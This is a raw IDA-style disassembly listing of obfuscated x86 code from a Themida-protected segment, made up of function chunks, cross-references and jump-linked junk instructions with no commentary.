; START	OF FUNCTION CHUNK FOR sub_5AC95F


loc_5A167F:				; CODE XREF: sub_5AC95F-97D4j
					; sub_59BB22+10669j
		sub	ebx, 592C2F86h
		jmp	loc_598DD5
; END OF FUNCTION CHUNK	FOR sub_5AC95F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AE0B5


loc_5A168A:				; CODE XREF: sub_5AE0B5-15EA0j
		add	eax, 2A42BADBh
		mov	edi, eax
		jmp	loc_5ACA42
; END OF FUNCTION CHUNK	FOR sub_5AE0B5
; ---------------------------------------------------------------------------


loc_5A1696:				; CODE XREF: Themida_:005A855Ej
		pop	ebx
		push	7B94h
		mov	[esp], eax
		push	esi
		jmp	loc_59C64C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A71A8


loc_5A16A5:				; CODE XREF: sub_5A71A8-2F0Aj
		pop	edx
		xor	edx, 35F80A3Ch
		jmp	loc_5AA13E
; END OF FUNCTION CHUNK	FOR sub_5A71A8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_598D16


loc_5A16B1:				; CODE XREF: sub_598D16+7735j
		jge	loc_59FD3B
		jmp	loc_59B664
; END OF FUNCTION CHUNK	FOR sub_598D16
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AEE2E


loc_5A16BC:				; CODE XREF: sub_5AEE2E-12BAEj
		mov	edi, 5560D48h
		add	eax, 266C17A1h
		sub	eax, edi
		sub	eax, 266C17A1h
		jmp	loc_59FE0C
; END OF FUNCTION CHUNK	FOR sub_5AEE2E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59B707


loc_5A16D2:				; CODE XREF: sub_59B707-36CCj
		pop	esp
		or	ebx, ebx
		jnz	loc_5A816B
		push	0A3h
		mov	[esp+4+var_4], edx
		pop	dword ptr [edi+20h]
		jmp	loc_5A51E4
; END OF FUNCTION CHUNK	FOR sub_59B707
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59858D


loc_5A16EB:				; CODE XREF: sub_59858D+89C3j
		xchg	cl, dl
		dec	dl
		neg	dl
		push	ecx
		push	eax
		push	ecx
		mov	cl, 8
		mov	ah, cl
		pop	ecx
		jmp	loc_59CA9C
; END OF FUNCTION CHUNK	FOR sub_59858D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AB98B


loc_5A16FE:				; CODE XREF: sub_5AB98B-4F5Aj
		pop	dword ptr [edx]
		jmp	loc_597B5F
; END OF FUNCTION CHUNK	FOR sub_5AB98B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59AE49


loc_5A1705:				; CODE XREF: sub_59AE49+10406j
		push	edi
		mov	edi, 0C4BD5F95h
		sub	eax, edi
		pop	edi
		sub	ebx, eax
		mov	eax, [esp+0]
		jmp	loc_5A46BF
; END OF FUNCTION CHUNK	FOR sub_59AE49
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59A03D


loc_5A1718:				; CODE XREF: sub_59A03D+4FDBj
		dec	ecx
		jl	sub_5AA500
		push	ebx
		mov	ebx, 5465F452h
		jmp	loc_59C91F
; END OF FUNCTION CHUNK	FOR sub_59A03D
; ---------------------------------------------------------------------------
		mov	dl, 3Ch
; START	OF FUNCTION CHUNK FOR sub_5A8D43


loc_5A172C:				; CODE XREF: sub_5A8D43+4DAj
		mov	ah, 0FCh
		and	dl, ah
		mov	ax, word ptr [esp+0Ch+var_C]
		add	esp, 2
		jmp	loc_5A870A
; END OF FUNCTION CHUNK	FOR sub_5A8D43
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AC95F


loc_5A173C:				; CODE XREF: sub_5AC95F-10C2Aj
		add	ebp, 4
		sub	ebp, 4
		push	ebp
		push	[esp+14h+var_10]
		pop	ebp
		pop	[esp+14h+var_14]
		pop	esp
		mov	[esp+0Ch+var_C], edx
		jmp	sub_5A1199
; END OF FUNCTION CHUNK	FOR sub_5AC95F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59C342


loc_5A1757:				; CODE XREF: sub_59C342+11D41j
		mov	[esp-4+arg_0], ebp
		push	3004h
		mov	[esp+0], esi
		push	56DD1ECBh
		mov	esi, [esp+4+var_4]
		add	esp, 4
		xchg	ebp, esi
		not	ebp
		jmp	loc_5AE643
; END OF FUNCTION CHUNK	FOR sub_59C342
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A8C33


loc_5A1779:				; CODE XREF: sub_5A8C33+D01j
		mov	edx, edi
		pop	edi
		add	ecx, edx
		pop	edx
		push	ecx
		jmp	loc_5AC63C
; END OF FUNCTION CHUNK	FOR sub_5A8C33
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59F2C8


loc_5A1785:				; CODE XREF: sub_59F2C8+30E2j
		xor	ebp, 179E122Ah
		add	eax, ebp
		pop	ebp
		pop	edx
		xchg	eax, [esp+8+var_8]
		jmp	loc_597FCB
; END OF FUNCTION CHUNK	FOR sub_59F2C8
; ---------------------------------------------------------------------------


loc_5A1797:				; CODE XREF: Themida_:005A331Fj
		pop	edi
		xchg	esi, [esp]
		mov	esp, [esp]
		mov	[esp], ebx
		mov	ebx, esp
		sub	esp, 4
		mov	[esp], eax
		jmp	loc_5A4F1E
; ---------------------------------------------------------------------------


loc_5A17B1:				; CODE XREF: Themida_:0059DA34j
		push	eax
		mov	eax, 60E4211Dh
		xor	eax, 382046CFh
		jmp	loc_59ABB2
; ---------------------------------------------------------------------------


loc_5A17C1:				; CODE XREF: Themida_:loc_5A4266j
		neg	ebp
		jg	loc_5A5BEA
		shr	ebp, 3
		jmp	loc_5A75F5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A8D43


loc_5A17D1:				; CODE XREF: sub_5A8D43-3581j
		jmp	loc_597B5F
; END OF FUNCTION CHUNK	FOR sub_5A8D43

; =============== S U B	R O U T	I N E =======================================



sub_5A17D6	proc near		; CODE XREF: sub_5A3F42-5C44j

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 005982E1 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 005988DE SIZE 00000018 BYTES
; FUNCTION CHUNK AT 00599C42 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0059ACB5 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 0059B690 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0059BB3F SIZE 00000018 BYTES
; FUNCTION CHUNK AT 0059BCE3 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0059E2BE SIZE 00000007 BYTES
; FUNCTION CHUNK AT 005A0468 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 005A06B7 SIZE 00000022 BYTES
; FUNCTION CHUNK AT 005A0C24 SIZE 00000029 BYTES
; FUNCTION CHUNK AT 005A0E9D SIZE 00000016 BYTES
; FUNCTION CHUNK AT 005A12BE SIZE 0000000E BYTES
; FUNCTION CHUNK AT 005A1C91 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 005A4074 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 005A5145 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005A586F SIZE 00000007 BYTES
; FUNCTION CHUNK AT 005A61E0 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 005A6233 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 005A6E0C SIZE 00000013 BYTES
; FUNCTION CHUNK AT 005A7760 SIZE 00000030 BYTES
; FUNCTION CHUNK AT 005A83A9 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005A8E5C SIZE 00000012 BYTES
; FUNCTION CHUNK AT 005AABA2 SIZE 00000030 BYTES
; FUNCTION CHUNK AT 005AAD79 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 005ACFFB SIZE 0000000F BYTES
; FUNCTION CHUNK AT 005AF0B7 SIZE 0000002A BYTES

		sub	esp, 4
		mov	[esp+4+var_4], eax
		mov	eax, 1
		sub	esp, 4
		mov	[esp+8+var_8], esi
		mov	esi, 5BBA6C81h
		add	[esp+8], esi
		pop	esi
		add	[esp+4], eax
		jmp	loc_5A7760
sub_5A17D6	endp

; ---------------------------------------------------------------------------


loc_5A17FD:				; CODE XREF: Themida_:loc_5A4C40j
		shl	eax, 5
		shr	eax, 2
		dec	eax
		jz	loc_5AD299
		sub	eax, 0A142E3h
		jmp	loc_5AB2DC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AB3DC


loc_5A1814:				; CODE XREF: sub_5AB3DC-9F81j
		mov	[esp-4+arg_0], ebx
		jmp	loc_59D2E5
; END OF FUNCTION CHUNK	FOR sub_5AB3DC
; ---------------------------------------------------------------------------


loc_5A181C:				; CODE XREF: Themida_:005AE552j
		push	esi
		push	2
		pop	esi
		add	ebp, esi
		push	dword ptr [esp]
		jmp	loc_5A527E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_597C68


loc_5A182D:				; CODE XREF: sub_597C68+A21Bj
		push	edi
		mov	edi, 4
		add	ecx, edi
		mov	edi, [esp+8+var_8]
		add	esp, 4
		add	ecx, 4
		xchg	ecx, [esp+4+var_4]
		pop	esp
		sub	esp, 4
		mov	[esp+4+var_4], ecx
		push	1F03h
		push	edi
		mov	edi, esp
		add	edi, 4
		sub	edi, 4
		xchg	edi, [esp+0Ch+var_C]
		pop	esp
		mov	[esp+8+var_8], esp
		push	eax
		push	4
		pop	eax
		add	[esp+0Ch+var_8], eax
		pop	eax
		jmp	loc_5A57C7
; END OF FUNCTION CHUNK	FOR sub_597C68
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A0F44


loc_5A1871:				; CODE XREF: sub_5A0F44-22C8j
		sub	ebp, 4
		xchg	ebp, [esp-4+arg_0]
		pop	esp
		mov	[esp-8+arg_4], ecx
		mov	ecx, 3E904754h
		jmp	loc_5A66E7
; END OF FUNCTION CHUNK	FOR sub_5A0F44
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A1076


loc_5A1885:				; CODE XREF: sub_5A1076+6CF4j
		mov	ebx, [esp+8+var_8]
		add	esp, 4
		sub	eax, 215E0B9Eh
		sub	eax, ecx
		jmp	loc_5A069A
; END OF FUNCTION CHUNK	FOR sub_5A1076
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A141E


loc_5A1897:				; CODE XREF: sub_5A141E+B19Ej
		pop	esp
		push	19A3h
		mov	[esp+10h+var_10], edi
		mov	edi, 675732B3h
		inc	edi
		jmp	loc_59975A
; END OF FUNCTION CHUNK	FOR sub_5A141E
; ---------------------------------------------------------------------------


loc_5A18AB:				; CODE XREF: Themida_:005998D4j
		or	edi, 3965692h
		sub	edi, 2753507Dh
		sub	ebp, edi
		jmp	loc_59CED2
; ---------------------------------------------------------------------------


loc_5A18BE:				; CODE XREF: Themida_:00597D7Cj
		jmp	loc_5A8D6D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D99C


loc_5A18C3:				; CODE XREF: sub_59D99C+3715j
		jmp	loc_5A978D
; ---------------------------------------------------------------------------


loc_5A18C8:				; CODE XREF: sub_59D99C+92DDj
		add	esp, 4
		jmp	sub_59FB52
; END OF FUNCTION CHUNK	FOR sub_59D99C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AB88E


loc_5A18D3:				; CODE XREF: sub_5AB88E-1338Cj
		add	eax, 0CE261ADh
		mov	ebx, eax
		pop	eax
		push	edi
		mov	edi, 42BC70E4h
		jmp	loc_5A284C
; END OF FUNCTION CHUNK	FOR sub_5AB88E
; ---------------------------------------------------------------------------


loc_5A18E6:				; DATA XREF: Themida_:00597894o
		push	dword ptr [esp]
		jmp	loc_5A69E9
; ---------------------------------------------------------------------------


loc_5A18EE:				; CODE XREF: Themida_:0059E9C2j
		push	ebx
		push	1E99h
		mov	[esp], eax
		jmp	loc_5A74B4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59DEB0


loc_5A18FC:				; CODE XREF: sub_59DEB0-5BC3j
		sub	ebp, 2CC47A29h
		sub	esp, 4
		mov	[esp+0], eax
		mov	eax, 2D126617h
		push	edx
		mov	edx, 79B564CFh
		jmp	loc_5AF0F3
; END OF FUNCTION CHUNK	FOR sub_59DEB0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59B707


loc_5A1918:				; CODE XREF: sub_59B707+FD67j
		mov	esi, [esp+0]
		add	esp, 4
		push	ebp
		mov	ebp, 2AB7958h
		jmp	loc_59EFDE
; END OF FUNCTION CHUNK	FOR sub_59B707
; ---------------------------------------------------------------------------


loc_5A192C:				; CODE XREF: Themida_:005A6883j
		pop	ecx
		pop	eax
		add	al, bh
		mov	ebx, [esp]
		add	esp, 4
		add	al, 7Fh
		sub	al, bl
		push	ebx
		mov	bl, 7Fh
		sub	al, bl
		pop	ebx
		jmp	loc_5998FF
; ---------------------------------------------------------------------------


loc_5A1948:				; CODE XREF: Themida_:005A4458j
		add	ebp, 4
		add	ebp, 4
		xor	ebp, [esp]
		jmp	loc_59E984
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A8C33


loc_5A1959:				; CODE XREF: sub_5A8C33+5766j
		pop	esp
		push	5EFBh
		mov	[esp-1Ch+arg_16+2], ecx
		push	ebx
		push	12EF59AEh
		mov	ebx, [esp-14h+arg_10]
		jmp	loc_5A12B6
; END OF FUNCTION CHUNK	FOR sub_5A8C33
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AC95F


loc_5A1970:				; CODE XREF: sub_5AC95F-4B64j
		xor	bl, 8Bh
		mov	ch, bl
		pop	ebx
		add	bl, ch
		mov	ecx, [esp+8+var_8]
		add	esp, 4
		push	eax
		push	ecx
		jmp	loc_599B60
; END OF FUNCTION CHUNK	FOR sub_5AC95F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59FFBE


loc_5A1988:				; CODE XREF: sub_59FFBE+4AE4j
		sub	edx, 1E874259h
		dec	edx
		shl	edx, 4
		push	esi
		push	52EFCB14h
		pop	esi
		xor	edx, esi
		jmp	loc_5A1BD4
; END OF FUNCTION CHUNK	FOR sub_59FFBE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AC95F


loc_5A19A0:				; CODE XREF: sub_5AC95F-1484Aj
					; Themida_:005A303Fj
		shl	edx, 7
		sub	edx, 12CAF9EDh
		xor	ecx, edx
		pop	edx
		mov	eax, ecx
		pop	ecx
		add	ebp, eax
		pop	eax
		xchg	ebp, [esp-18h+arg_14]
		pop	esp
		push	7C1Fh
		mov	[esp-18h+arg_14], ebp
		mov	ebp, esp
		push	eax
		jmp	loc_59D7AF
; END OF FUNCTION CHUNK	FOR sub_5AC95F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A7343


loc_5A19C6:				; CODE XREF: sub_5A7343+61A0j
		push	esi
		push	edx
		mov	edx, 10F12CC6h
		xor	edx, 454221DBh
		jb	loc_5AB7C1
		and	edx, 7DC14B78h
		jnp	loc_5A572B
		add	edx, 0C7B871ADh
		push	edx
		jmp	loc_5AB473
; END OF FUNCTION CHUNK	FOR sub_5A7343
; ---------------------------------------------------------------------------


loc_5A19F1:				; CODE XREF: Themida_:0059C5DEj
		mov	[esp], ebx
		jmp	loc_5A56AF
; ---------------------------------------------------------------------------


loc_5A19F9:				; CODE XREF: Themida_:0059DB6Aj
		sub	eax, 38FA65ABh
		push	11E5h
		mov	[esp], ebx
		mov	ebx, 7F3D33C2h
		jmp	loc_59A318
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D99C


loc_5A1A10:				; CODE XREF: sub_59D99C-2054j
		inc	edi
		not	edi
		and	edi, 144826E3h
		jmp	loc_5A1E76
; END OF FUNCTION CHUNK	FOR sub_59D99C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5ADDF8


loc_5A1A1E:				; CODE XREF: sub_5ADDF8-1005Cj
		add	ebp, 6BBD4A41h
		add	ebp, edi
		jmp	loc_59A53C
; END OF FUNCTION CHUNK	FOR sub_5ADDF8
; ---------------------------------------------------------------------------


loc_5A1A2B:				; CODE XREF: Themida_:005A02E5j
		xor	ebp, 2A201609h
		push	esi
		mov	esi, ebp
		mov	ecx, esi
		jmp	loc_5A3E9E
; ---------------------------------------------------------------------------


loc_5A1A3B:				; CODE XREF: Themida_:005AB5A5j
		push	ecx
		mov	ecx, 7CFE1DE8h
		dec	ecx
		neg	ecx
		neg	ecx
		push	edi
		jmp	loc_59B6F7

; =============== S U B	R O U T	I N E =======================================



sub_5A1A4C	proc near		; CODE XREF: sub_5AC95F-BCA5j

var_4		= word ptr -4

		sub	esp, 2
		mov	[esp+4+var_4], cx
		sub	esp, 4
		jmp	loc_59B381
sub_5A1A4C	endp

; ---------------------------------------------------------------------------


loc_5A1A5E:				; DATA XREF: Themida_:005978B0o
		mov	ax, [esp]
		sub	esp, 4
		mov	[esp], edi
		push	esp
		mov	edi, [esp]
		add	esp, 4
		push	ebx
		jmp	loc_5AE5C4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_599059


loc_5A1A78:				; CODE XREF: sub_599059+12295j
		add	esp, 4
		add	edi, 6C430DDBh
		sub	edi, 718A75ABh
		add	edi, ebx
		add	edi, 718A75ABh
		jmp	loc_5AD0B4
; END OF FUNCTION CHUNK	FOR sub_599059
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5986D6


loc_5A1A94:				; CODE XREF: sub_5986D6+228Fj
		sub	eax, 129C286Dh
		jmp	loc_59D59F
; END OF FUNCTION CHUNK	FOR sub_5986D6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A1076


loc_5A1A9E:				; CODE XREF: sub_5A1076-5D48j
		mov	[esp-8+arg_4], eax
		sub	[esp-8+arg_4], 0AFB0451h
		pop	edx
		jmp	sub_598E15
; END OF FUNCTION CHUNK	FOR sub_5A1076
; ---------------------------------------------------------------------------


loc_5A1AAE:				; CODE XREF: Themida_:005A5B13j
		xor	ebx, 5B993D0Bh
		or	ebx, 5B292C5Ah
		neg	ebx
		shr	ebx, 5
		xor	ebx, 5DA0F77Ah
		add	ecx, ebx
		pop	ebx
		add	ecx, 0FFFFFFFFh
		add	ecx, 0B4AA1D06h
		add	ebp, ecx
		mov	ecx, [esp]
		jmp	loc_5A8FC7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D99C


loc_5A1ADB:				; CODE XREF: sub_59D99C-B0j
		mov	[esp+0Ch+var_C], edi
		mov	edi, 18AF4123h
		push	6E2Ah
		mov	[esp+10h+var_10], ebp
		push	ebx
		jmp	loc_5AC4AD
; END OF FUNCTION CHUNK	FOR sub_59D99C

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_5A1AF1	proc near		; CODE XREF: sub_59EC11+4BEEj
		push	ebp
		mov	ebp, esp
		jmp	sub_5A600F
sub_5A1AF1	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D99C


loc_5A1AF9:				; CODE XREF: sub_59D99C+28DAj
		or	edx, 16117330h
		push	edi
		mov	edi, 2D575771h
		jmp	loc_59EF23
; END OF FUNCTION CHUNK	FOR sub_59D99C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_599059


loc_5A1B0A:				; CODE XREF: sub_599059-2Ej
		or	ebx, 768B3298h
		jnp	loc_5AB2DC
		neg	ebx
		jmp	loc_59AB97
; END OF FUNCTION CHUNK	FOR sub_599059
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A4F3D


loc_5A1B1D:				; CODE XREF: sub_5A4F3D-A195j
		add	edx, edi
		mov	edi, [esp-4+arg_0]
		push	esi
		mov	esi, esp
		jmp	loc_59B137
; END OF FUNCTION CHUNK	FOR sub_5A4F3D

; =============== S U B	R O U T	I N E =======================================



sub_5A1B2A	proc near		; CODE XREF: sub_5A6DA1-AF7Cj

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_6		= dword	ptr  0Ah
arg_A		= dword	ptr  0Eh

; FUNCTION CHUNK AT 00597B89 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00598258 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0059912F SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0059958C SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00599D3A SIZE 00000021 BYTES
; FUNCTION CHUNK AT 00599DA5 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 00599E81 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0059A7D9 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0059AA27 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0059B381 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0059BC7A SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0059BFDA SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0059C4DE SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0059C8A1 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0059C989 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0059CAD7 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0059CFB6 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0059D1CE SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0059D8AC SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0059DCA2 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0059E5BC SIZE 0000002E BYTES
; FUNCTION CHUNK AT 0059E661 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0059EA36 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0059EEBA SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0059EF8E SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0059F2CE SIZE 0000001B BYTES
; FUNCTION CHUNK AT 0059F421 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0059F928 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0059F939 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0059FDB2 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0059FE47 SIZE 00000022 BYTES
; FUNCTION CHUNK AT 005A0796 SIZE 00000043 BYTES
; FUNCTION CHUNK AT 005A12CC SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005A1521 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 005A1D33 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 005A29DF SIZE 00000037 BYTES
; FUNCTION CHUNK AT 005A35A7 SIZE 00000022 BYTES
; FUNCTION CHUNK AT 005A391A SIZE 00000007 BYTES
; FUNCTION CHUNK AT 005A3AAE SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005A3CB9 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 005A3FB9 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 005A40F2 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 005A4570 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 005A48CB SIZE 00000017 BYTES
; FUNCTION CHUNK AT 005A4958 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005A4C2F SIZE 00000006 BYTES
; FUNCTION CHUNK AT 005A4D98 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005A5103 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 005A5FD4 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 005A62DF SIZE 0000002C BYTES
; FUNCTION CHUNK AT 005A6412 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 005A6AB8 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 005A712F SIZE 0000000A BYTES
; FUNCTION CHUNK AT 005A7469 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 005A7B20 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 005A8030 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 005A87BF SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005A8A80 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 005A8AEF SIZE 00000011 BYTES
; FUNCTION CHUNK AT 005A91FD SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005A9401 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 005A9AE5 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 005AA1C5 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 005AA5C0 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 005AA6D6 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 005AB068 SIZE 00000052 BYTES
; FUNCTION CHUNK AT 005AB12D SIZE 0000000D BYTES
; FUNCTION CHUNK AT 005AB45C SIZE 0000000D BYTES
; FUNCTION CHUNK AT 005AB757 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 005ABB34 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 005AC9E3 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 005ACA1A SIZE 00000013 BYTES
; FUNCTION CHUNK AT 005ACDF0 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 005AD146 SIZE 0000001C BYTES
; FUNCTION CHUNK AT 005AD677 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 005AD6AD SIZE 00000009 BYTES
; FUNCTION CHUNK AT 005ADA07 SIZE 0000001C BYTES
; FUNCTION CHUNK AT 005ADA59 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005ADF5D SIZE 0000000A BYTES
; FUNCTION CHUNK AT 005AE2C2 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 005AE7BE SIZE 00000013 BYTES
; FUNCTION CHUNK AT 005AE9F6 SIZE 0000001B BYTES
; FUNCTION CHUNK AT 005AEB59 SIZE 00000008 BYTES

		sub	esp, 4
		mov	[esp+6+var_8+2], edx
		jmp	loc_5A6AB8
sub_5A1B2A	endp ; sp-analysis failed

; ---------------------------------------------------------------------------


loc_5A1B38:				; CODE XREF: Themida_:0059D966j
		push	7976h
		mov	[esp], edi
		push	ebx
		mov	ebx, 7F12FAAh
		shl	ebx, 7
		jz	loc_5A9EA4
		jmp	loc_5AA55C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59B707


loc_5A1B54:				; CODE XREF: sub_59B707+9180j
		pop	edx
		add	edx, 3FDD7E13h
		add	edx, edi
		sub	edx, 3FDD7E13h
		pop	edi
		jmp	loc_598032
; END OF FUNCTION CHUNK	FOR sub_59B707
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AC95F


loc_5A1B69:				; CODE XREF: sub_5AC95F-15CFj
		add	bl, 0EAh
		add	bl, 0D7h
		sub	bl, al
		sub	bl, 0D7h
		sub	bl, 0EAh
		pop	eax
		add	bl, 0ABh
		add	bl, al
		sub	bl, 0ABh
		push	edx
		mov	dl, 0Fh
		xor	dl, 33h
		add	bl, dl
		pop	edx
		push	dx
		jmp	loc_5A58FA
; END OF FUNCTION CHUNK	FOR sub_5AC95F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A8C33


loc_5A1B90:				; CODE XREF: sub_5A8C33-C036j
		pop	ecx
		add	esp, 4
		xchg	ebp, [esp-14h+arg_10]
		jmp	loc_5AE5BC
; END OF FUNCTION CHUNK	FOR sub_5A8C33

; =============== S U B	R O U T	I N E =======================================



sub_5A1B9F	proc near		; CODE XREF: sub_5AD8C7-99CFj

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 00597EBC SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005A0BBB SIZE 0000000D BYTES
; FUNCTION CHUNK AT 005A8110 SIZE 00000045 BYTES

		push	ebp
		mov	ebp, 0C2ABE347h
		jmp	loc_5A0BBB
sub_5A1B9F	endp

; ---------------------------------------------------------------------------


loc_5A1BAA:				; CODE XREF: Themida_:00599023j
		mov	[esp], edx
		push	esp
		push	dword ptr [esp]
		jmp	loc_59D5B7
; ---------------------------------------------------------------------------


loc_5A1BB6:				; CODE XREF: Themida_:0059E42Dj
		mov	edi, 4
		add	edx, 35E4C06h
		jmp	loc_59DA31
; ---------------------------------------------------------------------------


loc_5A1BC6:				; CODE XREF: Themida_:005AEEFDj
		push	edi
		push	3764h
		mov	[esp], ebp
		jmp	loc_598E93
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59FFBE


loc_5A1BD4:				; CODE XREF: sub_59FFBE+19DDj
		pop	esi
		jmp	loc_5AD7B9
; END OF FUNCTION CHUNK	FOR sub_59FFBE
; ---------------------------------------------------------------------------
		lodsd
		jmp	loc_5A4CDF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5ADDF8


loc_5A1BE0:				; CODE XREF: sub_5ADDF8-C8DCj
		push	[esp+8+var_8]
		pop	ebp
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp+0Ch+var_C]
		pop	esp
		pop	[esp+8+var_8]
